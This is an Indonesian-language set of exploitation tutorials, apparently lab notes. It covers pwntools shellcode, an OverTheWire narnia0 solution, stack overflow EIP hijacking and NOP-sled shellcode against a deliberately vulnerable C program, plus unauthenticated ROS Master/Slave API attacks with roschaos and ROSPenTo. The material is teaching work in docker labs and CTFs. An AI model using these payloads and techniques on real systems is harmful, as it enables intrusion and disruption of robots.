Tersedia dalam example6.py. Segera:
#!/usr/bin/env python
from pwn import *
# Define the context of the working machine
context(arch='i386', os='linux')
# Get a simple shellcode
log.info("Putting together simple shellcode")
sh_shellcode2 = """
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
"""
# Create a binary out of some shellcode
e = ELF.from_assembly(sh_shellcode2, vma=0x400000, arch='i386')
Kerajinan Kerang
Hanya berhasil membuatnya berfungsi untuk biner 32-bit. Lihat example4.pyuntuk contoh yang berfungsi dengan 32-bit dan untuk example5.pycontoh yang tidak berfungsi dengan 64-bit.
docker run -v /Users/victor/basic_cybersecurity:/tutorial -it pwnbox:latest
...
root@ffac9df3ac02:/tutorial/tutorial6# python example4.py
[*] Compiling the binary narnia1_local
narnia1.c: In function 'main':
narnia1.c:21:5: warning: implicit declaration of function 'getenv' [-Wimplicit-function-declaration]
if(getenv("EGG")==NULL){
^
narnia1.c:21:18: warning: comparison between pointer and integer
if(getenv("EGG")==NULL){
^
narnia1.c:23:3: warning: implicit declaration of function 'exit' [-Wimplicit-function-declaration]
exit(1);
^
narnia1.c:23:3: warning: incompatible implicit declaration of built-in function 'exit'
narnia1.c:23:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
narnia1.c:27:6: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
ret = getenv("EGG");
^
[*] Putting together simple shellcode
jhh///sh/bin\x89?h\x814$ri1?Qj\x04Y?Q??1?j\x0bX̀
[*] Introduce shellcode in EGG env. variable
[*] Launching narnia1_local
[!] Could not find executable 'narnia1_local' in $PATH, using './narnia1_local' instead
[+] Starting local process './narnia1_local': pid 38
[*] Switching to interactive mode
Trying to execute EGG!
$ uname -a
Linux ffac9df3ac02 4.9.87-linuxkit-aufs #1 SMP Wed Mar 14 15:12:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Masalah diangkat di https://github.com/Gallopsled/pwntools/issues/1142.
Integrasi GDB
Masalah dengan terminal telah diperbaiki di https://github.com/Gallopsled/pwntools/issues/1140.
Masalah baru di https://github.com/Gallopsled/pwntools/issues/1117.
Contoh
narnia1
Sebagai contoh, berikan masalah berikut http://overthewire.org/wargames/narnia/narnia1.html:
from pwn import *
context(arch='i386', os='linux')
s = ssh(user='narnia0', host='narnia.labs.overthewire.org', password='narnia0', port=2226)
sh = s.run('/narnia/narnia0')
sh.sendline('A'*20 + p32(0xdeadbeef))
sh.sendline('cat /etc/narnia_pass/narnia1')
while 1:
print(sh.recvline())
# log.info('Flag: '+sh.recvline().split('\n')[0])
s.close()
Sumber daya
[1] Gallopsled, pwntools . Diperoleh dari https://github.com/Gallopsled/pwntools.
[2] Gallopsled, pwntools Docs . Diperoleh dari https://docs.pwntools.com/en/stable/index.html.
[3] Basis Data Eksploitasi. Diperoleh dari https://www.exploit-db.com/.
[4] Universitas Politeknik Bukares, Jurusan Ilmu Komputer dan Teknik, Keamanan Komputer dan Jaringan. Lab 07 - Memanfaatkan Shellcode (Bagian 2) . Diperoleh dari https://ocw.cs.pub.ro/courses/cns/labs/lab-07.
WIP: Proteksi Biner Linux
Tersedia di https://github.com/nnamon/linux-exploitation-course/blob/master/lessons/5_protections/lessonplan.md.
Sumber daya
[1] Kursus eksploitasi Linux. Diperoleh dari https://github.com/nnamon/linux-exploitation-course.
Membangun pwnbox
Pwnbox sederhana dapat diambil dari [1]. Kontainer Docker dapat diperoleh melalui:
docker pull superkojiman/pwnbox
Dockerfile lokal juga telah disediakan yang menyediakan utilitas dasar untuk diy-pwnbox. Gunakan pwnbox dari superkojiman untuk hasil yang lebih baik.
Sumber daya
[1] pwnbox. Diperoleh dari https://github.com/superkojiman/pwnbox.
WIP: Melewati NX dengan Pemrograman Berorientasi Pengembalian
Dalam tutorial ini kami akan mengulas cara melewati tanda “No eXecute” (NX) dalam biner.
Dikenal juga sebagai Pencegahan Eksekusi Data (DEP), perlindungan ini menandai wilayah memori yang dapat ditulis sebagai tidak dapat dieksekusi. Hal ini mencegah prosesor untuk mengeksekusi di wilayah memori yang ditandai tersebut.
Catatan : seperti pada tutorial sebelumnya, ada kontainer docker yang memudahkan reproduksi karya tutorial ini. Kontainer dapat dibangun dengan:
docker build -t basic_cybersecurity10:latest .
dan jalankan dengan:
docker run --privileged -v $(pwd):/root/tutorial -it basic_cybersecurity10:latest
Mengaktifkan NX
Konten berikut sangat terinspirasi oleh [1,2]:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
void vuln() {
char buffer[128];
char * second_buffer;
uint32_t length = 0;
puts("Reading from STDIN");
read(0, buffer, 1024);
if (strcmp(buffer, "Cool Input") == 0) {
puts("What a cool string.");
}
length = strlen(buffer);
if (length == 42) {
puts("LUE");
}
second_buffer = malloc(length);
strncpy(second_buffer, buffer, length);
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
puts("This is a big vulnerable example!");
printf("I can print many things: %x, %s, %d\n", 0xdeadbeef, "Test String",
42);
write(1, "Writing to STDOUT\n", 18);
vuln();
}
Saat mengkompilasi kode ini, kami akan menandai area memori yang dapat ditulis sebagai tidak dapat dieksekusi. Menurut sumber asli [1], biner yang dihasilkan tidak cukup besar untuk melakukan serangan ROP. Mari kita lihat:
root@9a78bba9592e:~/tutorial# pwd
/root/tutorial
root@9a78bba9592e:~/tutorial# gcc -m32 -g -fno-stack-protector -znoexecstack -o ./build/1_nx ./src/1_staticnx.c
root@9a78bba9592e:~/tutorial# ls -lh build/1_nx
-rwxr-xr-x 1 root root 7.6K Jun 18 17:49 build/1_nx
Jadi yang kami lakukan adalah mengompilasinya sebagai ELF yang terhubung secara statis. Ini akan menyertakan kode pustaka dalam eksekusi akhir dan memperbesar ukuran biner.
root@9a78bba9592e:~/tutorial# gcc -m32 -g -fno-stack-protector -static -znoexecstack -o ./build/1_staticnx ./src/1_staticnx.c
root@9a78bba9592e:~/tutorial# ls -lh build/1_
1_nx 1_staticnx
root@9a78bba9592e:~/tutorial# ls -lh build/1_
1_nx 1_staticnx
root@9a78bba9592e:~/tutorial# ls -lh build/1_staticnx
-rwxr-xr-x 1 root root 729K Jun 18 17:51 build/1_staticnx
Memang ada perbedaan besar di antara keduanya.
Memeriksa keamanan file-file ini memang mengirimkan tanda NX aktif:
root@9a78bba9592e:~/tutorial# checksec build/1_*
[*] '/root/tutorial/build/1_nx'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/root/tutorial/build/1_staticnx'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Mendapatkan Kontrol EIP
Mari kita buat sebuah eksploitasi untuk mengambil alih kendali penunjuk instruksi. Kerangka pertama disajikan di bawah ini:
#!/usr/bin/python
from pwn import *
def main():
# Start the process
p = process("../build/1_staticnx")
# Craft the payload
payload = "A"*148 + p32(0xdeadc0de)
payload = payload.ljust(1000, "\x00")
# Print the process id
raw_input(str(p.proc.pid))
# Send the payload
p.send(payload)
# Transfer interaction to the user
p.interactive()
if __name__ == '__main__':
main()
Yang dapat Anda jalankan melalui:
root@9a78bba9592e:~/tutorial/scripts# python 1_skeleton.py
[+] Starting local process '../build/1_staticnx': pid 89
89
[*] Switching to interactive mode
This is a big vulnerable example!
I can print many things: deadbeef, Test String, 42
Writing to STDOUT
Reading from STDIN
[*] Got EOF while reading in interactive
$
[*] Process '../build/1_staticnx' stopped with exit code -11 (SIGSEGV) (pid 89)
[*] Got EOF while sending in interactive
Perhatikan instruksinya
# Print the process id
raw_input(str(p.proc.pid))
dalam skrip tersebut ditempatkan di sana untuk meluncurkan instance gdb di terminal lain. Mari kita mulai. Di terminal lain, kita terhubung ke kontainer docker melalui:
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9a78bba9592e basic_cybersecurity10:latest "/bin/bash" About an hour ago Up About an hour heuristic_gates
victor at Victors-MacBook in ~/web on bounties*
$ docker exec -it 9a78bba9592e bash
root@9a78bba9592e:~#
sekarang kita lanjutkan sebagai berikut:
# Terminal 1
root@9a78bba9592e:~/tutorial/scripts# python 1_skeleton.py
[+] Starting local process '../build/1_staticnx': pid 123
123
# Terminal 2
root@9a78bba9592e:~# gdb -p 123
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
pwndbg: loaded 162 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Attaching to process 123
Reading symbols from /root/tutorial/build/1_staticnx...(no debugging symbols found)...done.
0xf7790b49 in __kernel_vsyscall ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS ]
EAX 0xfffffe00
EBX 0x0
ECX 0xff81e348 ◂— 0x21 /* '!' */
EDX 0x400
EDI 0x4e
ESI 0x80ef00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8069d70 (__strcpy_sse2) ◂— mov edx, dword ptr [esp + 4]
EBP 0xff81e3d8 —▸ 0xff81e3e8 ◂— 0x1000
ESP 0xff81e318 —▸ 0xff81e3d8 —▸ 0xff81e3e8 ◂— 0x1000
EIP 0xf7790b49 (__kernel_vsyscall+9) ◂— pop ebp
[ DISASM ]
► 0xf7790b49 <__kernel_vsyscall+9> pop ebp
0xf7790b4a <__kernel_vsyscall+10> pop edx
0xf7790b4b <__kernel_vsyscall+11> pop ecx
0xf7790b4c <__kernel_vsyscall+12> ret
↓
0x80710c2 <__read_nocancel+24> pop ebx
0x80710c3 <__read_nocancel+25> cmp eax, 0xfffff001
0x80710c8 <__read_nocancel+30> jae __syscall_error <0x8074610>
↓
0x8074610 <__syscall_error> mov edx, 0xffffffe8
0x8074616 <__syscall_error+6> neg eax
0x8074618 <__syscall_error+8> mov dword ptr gs:[edx], eax
0x807461b <__syscall_error+11> mov eax, 0xffffffff
[ STACK ]
00:0000│ esp 0xff81e318 —▸ 0xff81e3d8 —▸ 0xff81e3e8 ◂— 0x1000
01:0004│ 0xff81e31c ◂— 0x400
02:0008│ 0xff81e320 —▸ 0xff81e348 ◂— 0x21 /* '!' */
03:000c│ 0xff81e324 —▸ 0x80710c2 (__read_nocancel+24) ◂— pop ebx
04:0010│ 0xff81e328 —▸ 0x80481b0 (_init) ◂— push ebx
05:0014│ 0xff81e32c —▸ 0x80488d2 (vuln+54) ◂— add esp, 0x10
06:0018│ 0xff81e330 ◂— 0x0
07:001c│ 0xff81e334 —▸ 0xff81e348 ◂— 0x21 /* '!' */
[ BACKTRACE ]
► f 0 f7790b49 __kernel_vsyscall+9
f 1 80710c2 __read_nocancel+24
f 2 80488d2 vuln+54
f 3 80489d2 main+123
f 4 8048c01 generic_start_main+545
f 5 8048dfd __libc_start_main+285
pwndbg> b 14
Breakpoint 1 at 0x80488d5: file ./src/1_staticnx.c, line 14.
pwndbg> c
Continuing.
# Terminal 1
# Press ENTER to get:
[*] Switching to interactive mode
This is a big vulnerable example!
I can print many things: deadbeef, Test String, 42
Writing to STDOUT
Reading from STDIN
$
# Terminal 2
Breakpoint 1, vuln () at ./src/1_staticnx.c:14
14 if (strcmp(buffer, "Cool Input") == 0) {
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────
*EAX 0x3e8
*EBX 0x80481b0 (_init) ◂— push ebx
ECX 0xff8094d8 ◂— 0x41414141 ('AAAA')
EDX 0x400
EDI 0x4e
ESI 0x80ef00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8069d70 (__strcpy_sse2) ◂— mov edx, dword ptr [esp + 4]
EBP 0xff809568 ◂— 0x41414141 ('AAAA')
*ESP 0xff8094d0 —▸ 0x80ef200 (_IO_2_1_stdout_) ◂— 0xfbad2887
*EIP 0x80488d5 (vuln+57) ◂— sub esp, 8
──────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────
0x80488d2 <vuln+54> add esp, 0x10
► 0x80488d5 <vuln+57> sub esp, 8
0x80488d8 <vuln+60> push 0x80bedfb
0x80488dd <vuln+65> lea eax, dword ptr [ebp - 0x90]
0x80488e3 <vuln+71> push eax
0x80488e4 <vuln+72> call 0x80482a0
0x80488e9 <vuln+77> add esp, 0x10
0x80488ec <vuln+80> test eax, eax
0x80488ee <vuln+82> jne vuln+100 <0x8048900>
0x80488f0 <vuln+84> sub esp, 0xc
0x80488f3 <vuln+87> push 0x80bee06
───────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────
9 char * second_buffer;
10 uint32_t length = 0;
11 puts("Reading from STDIN");
12 read(0, buffer, 1024);
13
► 14 if (strcmp(buffer, "Cool Input") == 0) {
15 puts("What a cool string.");
16 }
17 length = strlen(buffer);
18 if (length == 42) {
19 puts("LUE");
───────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00:0000│ esp 0xff8094d0 —▸ 0x80ef200 (_IO_2_1_stdout_) ◂— 0xfbad2887
01:0004│ 0xff8094d4 —▸ 0x80bee20 ◂— push esp
02:0008│ ecx 0xff8094d8 ◂— 0x41414141 ('AAAA')
... ↓
─────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────
► f 0 80488d5 vuln+57
f 1 deadc0de
f 2 0
Breakpoint /root/tutorial/src/1_staticnx.c:14
Kita telah berhenti setelah membaca yang seharusnya memberi kita semua hal dari skrip. Sekarang, mari kita periksa sedikit memori tumpukan:
# Terminal 2
pwndbg> stack 100
00:0000│ esp 0xff8094d0 —▸ 0x80ef200 (_IO_2_1_stdout_) ◂— 0xfbad2887
01:0004│ 0xff8094d4 —▸ 0x80bee20 ◂— push esp
02:0008│ ecx 0xff8094d8 ◂— 0x41414141 ('AAAA')
... ↓
27:009c│ 0xff80956c ◂— 0xdeadc0de
28:00a0│ 0xff809570 ◂— 0x0
... ↓
Menganalisis register:
pwndbg> regs
*EAX 0x3e8
*EBX 0x80481b0 (_init) ◂— push ebx
ECX 0xff8094d8 ◂— 0x41414141 ('AAAA')
EDX 0x400
EDI 0x4e
ESI 0x80ef00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8069d70 (__strcpy_sse2) ◂— mov edx, dword ptr [esp + 4]
EBP 0xff809568 ◂— 0x41414141 ('AAAA')
*ESP 0xff8094d0 —▸ 0x80ef200 (_IO_2_1_stdout_) ◂— 0xfbad2887
*EIP 0x80488d5 (vuln+57) ◂— sub esp, 8
Kita dapat melihat bahwa EBP menunjuk ke 0xff809568, yang berarti bahwa alamat pengirim retmenunjuk ke 0xff80956c. Menurut dump memori di atas, ia berisi 0xdeadc0deapa yang kita masukkan sesuai keinginan.
Dengan demikian, kami mengambil alih EIP.
Mencoba menjalankan shellcode
Mari mengkompilasi program tanpa perlindungan NX:
gcc -m32 -g -fno-stack-protector -z execstack -static -o ./build/1_nx ./src/1_static.c
Yang dapat kami verifikasi sebagai:
root@9d3c62865471:~/tutorial# checksec build/1_static
[*] '/root/tutorial/build/1_static'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
root@9d3c62865471:~/tutorial# checksec build/1_staticnx
[*] '/root/tutorial/build/1_staticnx'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Sekarang, kita cukup menambahkannya dengan memastikan kita menambahkan dan mengawali Noops ke shellcode. Kita menggunakan skrip berikut ( 1_skeleton_shellcode.py):
#!/usr/bin/python
from pwn import *
# Define the context of the working machine
context(arch='i386', os='linux')
def main():
# Start the process
log.info("Launching the process")
p = process("../build/1_static")
# Get a simple shellcode
log.info("Putting together simple shellcode")
shellcode = asm(shellcraft.sh())
# print(len(shellcode))
print(asm(shellcraft.sh()))
# Craft the payload
log.info("Crafting the payload")
# payload = "A"*148
payload = "\x90"*86 # no op code
payload += shellcode # 44 chars
payload += "\x90"*18 # no op code
payload += p32(0xdeadc0de)
# payload += "\x90"*500 # no op code
payload = payload.ljust(2000, "\x00")
# log.info(payload)
# Print the process id
raw_input(str(p.proc.pid))
# Send the payload
p.send(payload)
# Transfer interaction to the user
p.interactive()
if __name__ == '__main__':
main()
yang membuat kita berada dalam situasi seperti:
[ SOURCE (CODE) ]
9 char * second_buffer;
10 uint32_t length = 0;
11 puts("Reading from STDIN");
12 read(0, buffer, 1024);
13
► 14 if (strcmp(buffer, "Cool Input") == 0) {
15 puts("What a cool string.");
16 }
17 length = strlen(buffer);
18 if (length == 42) {
19 puts("LUE");
[ STACK ]
00:0000│ esp 0xff9abbe0 —▸ 0x80ef200 (_IO_2_1_stdout_) ◂— xchg dword ptr [eax], ebp /* 0xfbad2887 */
01:0004│ 0xff9abbe4 —▸ 0x80bee20 ◂— push esp
02:0008│ ecx 0xff9abbe8 ◂— 0x90909090
... ↓
[ BACKTRACE ]
► f 0 80488d5 vuln+57
f 1 deadc0de
f 2 0
Breakpoint /root/tutorial/src/1_staticnx.c:14
pwndbg> stack 50
00:0000│ esp 0xff9abbe0 —▸ 0x80ef200 (_IO_2_1_stdout_) ◂— xchg dword ptr [eax], ebp /* 0xfbad2887 */
01:0004│ 0xff9abbe4 —▸ 0x80bee20 ◂— push esp
02:0008│ ecx 0xff9abbe8 ◂— 0x90909090
... ↓
17:005c│ 0xff9abc3c ◂— 0x686a9090
18:0060│ 0xff9abc40 ◂— 0x2f2f2f68 ('h///')
19:0064│ 0xff9abc44 ◂— 0x622f6873 ('sh/b')
1a:0068│ 0xff9abc48 ◂— 0xe3896e69
1b:006c│ 0xff9abc4c ◂— 0x1010168
1c:0070│ 0xff9abc50 ◂— 0x24348101
1d:0074│ 0xff9abc54 ◂— 0x1016972
1e:0078│ 0xff9abc58 ◂— 0x6a51c931
1f:007c│ 0xff9abc5c ◂— 0xe1015904
20:0080│ 0xff9abc60 ◂— 0x31e18951
21:0084│ 0xff9abc64 ◂— 0x580b6ad2
22:0088│ 0xff9abc68 ◂— 0x909080cd
23:008c│ 0xff9abc6c ◂— 0x90909090
... ↓
27:009c│ 0xff9abc7c ◂— 0xdeadc0de
28:00a0│ 0xff9abc80 ◂— 0x0
... ↓
pwndbg> regs
*EAX 0x400
*EBX 0x80481b0 (_init) ◂— push ebx
ECX 0xff9abbe8 ◂— 0x90909090
EDX 0x400
EDI 0x4e
ESI 0x80ef00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8069d70 (__strcpy_sse2) ◂— mov edx, dword ptr [esp + 4]
EBP 0xff9abc78 ◂— 0x90909090
*ESP 0xff9abbe0 —▸ 0x80ef200 (_IO_2_1_stdout_) ◂— xchg dword ptr [eax], ebp /* 0xfbad2887 */
*EIP 0x80488d5 (vuln+57) ◂— sub esp, 8
Masalahnya sekarang adalah bagaimana cara memodifikasi 0xdeadc0dedengan sesuatu yang termasuk dalam bagian Noop
Kode Gadget
YANG HARUS DILAKUKAN
Sumber daya
[1] Kursus eksploitasi Linux. Diperoleh dari https://github.com/nnamon/linux-exploitation-course.
[2] Melewati NX dengan Pemrograman Berorientasi Pengembalian. Diperoleh dari https://github.com/nnamon/linux-exploitation-course/blob/master/lessons/6_bypass_nx_rop/lessonplan.md.
[3] pwndebug. Diperoleh dari https://github.com/pwndbg/pwndbg.
[4] Mengapa kita harus meletakkan shellcode sebelum alamat pengembalian dalam buffer overflow? Diperoleh dari https://security.stackexchange.com/questions/101222/why-do-we-have-to-put-the-shellcode-before-the-return-address-in-the-buffer-over?rq=1.
Registrasi/pembatalan registrasi tanpa autentikasi dengan ROS Master API
Dalam tutorial ini, kami akan mengulas bagaimana ROS Master API tidak memerlukan kemampuan autentikasi untuk mendaftarkan dan membatalkan pendaftaran penerbit, pelanggan, dan layanan. Hal ini menyebabkan [kerentanan yang dilaporkan] (https://github.com/aliasrobotics/RVDP/issues/87) yang dapat dengan mudah dieksploitasi dengan alat uji penetrasi siap pakai oleh penyerang yang memiliki akses ke jaringan robot internal.
Penelitian ini sangat bergantung pada [1],[3] dan [4].
Catatan : seperti pada tutorial sebelumnya, ada kontainer docker yang memudahkan reproduksi karya tutorial ini. Kontainer dapat dibangun dengan:
docker build -t basic_cybersecurity11:latest .
dan jalankan dengan:
docker run -it basic_cybersecurity11:latest
Mari kita mulai dengan membuat daftar Node dan Topik ROS yang berpartisipasi dalam jaringan. Setelah meluncurkan kontainer:
root@d64845e9601e:/# rosrun scenario1 talker &
root@d64845e9601e:/# rosrun scenario1 listener
Sekarang, mari kita masukkan baris perintah kedua ke dalam simulasi skenario robot yang berjalan di atas docker. Untuk melakukannya:
| => docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
935c390c1e49 basic_cybersecurity11:latest "/root/launch_script…" 20 seconds ago Up 19 seconds vibrant_chandrasekhar
| => docker exec -it 935c390c1e49 /bin/bash
root@935c390c1e49:/#
Pada terminal kedua dari instansi docker yang sama:
root@d64845e9601e:/# rosnode list
/listener
/publisher
/rosout
root@d64845e9601e:/# rostopic list
/flag
/rosout
/rosout_agg
Kita dapat melihat bahwa ada beberapa Node, yang terutama menarik perhatian kita /publisherdan /listener. Keduanya, saling bertukar informasi melalui /flagTopik sebagai berikut:
root@d64845e9601e:/# rostopic echo /flag
data: "br{N(*-E6NgwbyWc"
---
data: "br{N(*-E6NgwbyWc"
---
data: "br{N(*-E6NgwbyWc"
---
...
Batalkan pendaftaran /publisherdari/listener
root@655447dc534c:/# rosnode list
/listener
/publisher
/rosout
root@655447dc534c:/# roschaos master unregister node --node_name /publisher
Unregistering /publisher
Anda akan melihat bahwa pendengar berhenti menerima pesan. Jika kita sekarang memverifikasinya:
root@655447dc534c:/# rosnode list
/listener
/rosout
Kami mengamati bahwa ROS Master tidak menemukan /publisherlagi, karena sudah tidak terdaftar. Selain itu, proses talkermasih berjalan:
root@655447dc534c:/# ps -e
PID TTY TIME CMD
1 pts/0 00:00:00 launch_script.b
31 pts/0 00:00:00 roscore
42 ? 00:00:01 rosmaster
55 ? 00:00:01 rosout
72 pts/0 00:00:00 bash
78 pts/1 00:00:00 bash
90 pts/0 00:00:00 talker
108 pts/0 00:00:01 listener
174 pts/1 00:00:00 ps
Sumber daya
[1] Mendia, GO, Juan, LUS, Bascaran, XP, Calvo, AB, Cordero, AH, Ugarte, IZ, … & Vilches, VM (2018). Robotics CTF (RCTF), tempat bermain untuk peretasan robot. arXiv pracetak arXiv:1810.02690.
[2] Skenario Robotics CTF (RCTF), sebuah taman bermain untuk menantang keamanan robot. Diperoleh dari https://github.com/aliasrobotics/RCTF
[3] Dieber, B., Breiling, B., Taurer, S., Kacianka, S., Rass, S., & Schartner, P. (2017). Keamanan untuk Sistem Operasi Robot. Robotika dan Sistem Otonom, 98, 192-203.
[4] Tutorial SROS2, IROS 2018. Diperoleh dari https://ruffsl.github.io/IROS2018_SROS2_Tutorial/.
[5] roschaos. Diperoleh dari https://github.com/ruffsl/roschaos.
[6] ROSPenTo. Diperoleh dari https://github.com/jr-robotics/ROSPenTo.
Pembaruan yang tidak diautentikasi dalam daftar penerbit untuk topik tertentu
Dalam tutorial ini, kami akan mengulas bagaimana ROS Slave API , yang digunakan oleh setiap ROS Node dalam jaringan robot, menghadirkan kerentanan dalam publisherUpdatemetode tersebut. Metode ini, yang digunakan untuk memperbarui daftar penerbit untuk Topik ROS tertentu, tidak memerlukan autentikasi:
publisherUpdate(caller_id, topic, publishers)
Callback from master of current publisher list for specified topic.
Parameters
caller_id (str)
ROS caller ID.
topic (str)
Topic name.
publishers ([str])
List of current publishers for topic in the form of XMLRPC URIs
Returns (int, str, int)
(code, statusMessage, ignore)
Masalah utama muncul dari fakta bahwa Node dalam jaringan ROS tidak meminta pembaruan berkelanjutan dari ROS Master. Sebaliknya, mereka hanya mendaftar ke publisherUpdatecallback yang mengekspos mereka ke penyerang yang menggunakan metode ini secara sembarangan. Dengan memanfaatkan kerentanan ini, penyerang berpotensi mengubah daftar penerbit topik tertentu, yang memengaruhi Node terpilih, sementara jaringan ROS lainnya tidak terpengaruh, atau menyadari adanya perubahan.
Kerentanan ini telah dilaporkan di https://github.com/aliasrobotics/RVDP/issues/88.
Catatan : seperti pada tutorial sebelumnya, ada kontainer docker yang memudahkan reproduksi karya tutorial ini. Kontainer dapat dibangun dengan:
docker build -t basic_cybersecurity12:latest .
dan jalankan dengan:
docker run -it basic_cybersecurity12:latest
Mari kita mulai dengan membuat daftar Node dan Topik ROS yang berpartisipasi dalam jaringan. Setelah meluncurkan kontainer:
root@d64845e9601e:/# rosrun scenario1 talker &
root@d64845e9601e:/# rosrun scenario1 listener
Sekarang, mari kita masukkan baris perintah kedua ke dalam simulasi skenario robot yang berjalan di atas docker. Untuk melakukannya:
| => docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
935c390c1e49 basic_cybersecurity12:latest "/root/launch_script…" 20 seconds ago Up 19 seconds vibrant_chandrasekhar
| => docker exec -it 935c390c1e49 /bin/bash
root@935c390c1e49:/#
Pada terminal kedua dari instansi docker yang sama:
root@d64845e9601e:/# rosnode list
/listener
/publisher
/rosout
root@d64845e9601e:/# rostopic list
/flag
/rosout
/rosout_agg
Kita dapat melihat bahwa ada beberapa Node, yang terutama menarik perhatian kita /publisherdan /listener. Keduanya, saling bertukar informasi melalui /flagTopik sebagai berikut:
root@d64845e9601e:/# rostopic echo /flag
data: "br{N(*-E6NgwbyWc"
---
data: "br{N(*-E6NgwbyWc"
---
data: "br{N(*-E6NgwbyWc"
---
...
Batalkan pendaftaran /publisherdari/listener
Tujuan utama kami adalah membatalkan pendaftaran /publisherdari /subscriber. Kami akan melakukannya melalui API ROS Master dengan cara yang hanya diketahui oleh /listenerdan tidak diketahui oleh orang lain. Pesan dari /publisherakan berhenti diproses oleh /subscriber. Semua ini akan terjadi sambil menjauhkannya dari ROS Master (dan Node lain yang tidak menjadi target seperti /publisher). Untuk melakukannya, kami akan menggunakan [3].
Hal pertama yang harus dilakukan adalah meluncurkan ROSPenTodan menganalisis sistem
root@d64845e9601e:/# rospento
RosPenTo - Penetration testing tool for the Robot Operating System(ROS)
Copyright(C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it under certain conditions.
For more details see the GNU General Public License at <http://www.gnu.org/licenses/>.
What do you want to do?
0: Exit
1: Analyse system...
2: Print all analyzed systems
1
Please input URI of ROS Master: (e.g. http://localhost:11311/)
http://localhost:11311/
Hasil analisisnya akan terlihat seperti ini:
System 0: http://127.0.0.1:11311/
Nodes:
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:36963/)
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:40117/)
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:39955/)
Topics:
Topic 0.0: /flag (Type: std_msgs/String)
Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
Services:
Service 0.3: /listener/get_loggers
Service 0.2: /listener/set_logger_level
Service 0.1: /publisher/get_loggers
Service 0.0: /publisher/set_logger_level
Service 0.4: /rosout/get_loggers
Service 0.5: /rosout/set_logger_level
Communications:
Communication 0.0:
Publishers:
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:40117/)
Topic 0.0: /flag (Type: std_msgs/String)
Subscribers:
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:36963/)
Communication 0.1:
Publishers:
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:40117/)
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:36963/)
Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
Subscribers:
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:39955/)
Communication 0.2:
Publishers:
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:39955/)
Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
Subscribers:
Parameters:
Parameter 0.0:
Name: /roslaunch/uris/host_d64845e9601e__39259
Parameter 0.1:
Name: /rosdistro
Parameter 0.2:
Name: /rosversion
Parameter 0.3:
Name: /run_id
Sekarang mari kita lanjutkan dan batalkan pendaftaran /publisher. Pertama, di satu terminal, luncurkan rosrun scenario1 listener. Sekarang mari kita masuk ke terminal lain dan batalkan pendaftaran /publisher:
What do you want to do?
0: Exit
1: Analyse system...
2: Print all analyzed systems
3: Print information about analyzed system...
4: Print nodes of analyzed system...
5: Print node types of analyzed system (Python or C++)...
6: Print topics of analyzed system...
7: Print services of analyzed system...
8: Print communications of analyzed system...
9: Print communications of topic...
10: Print parameters...
11: Update publishers list of subscriber (add)...
12: Update publishers list of subscriber (set)...
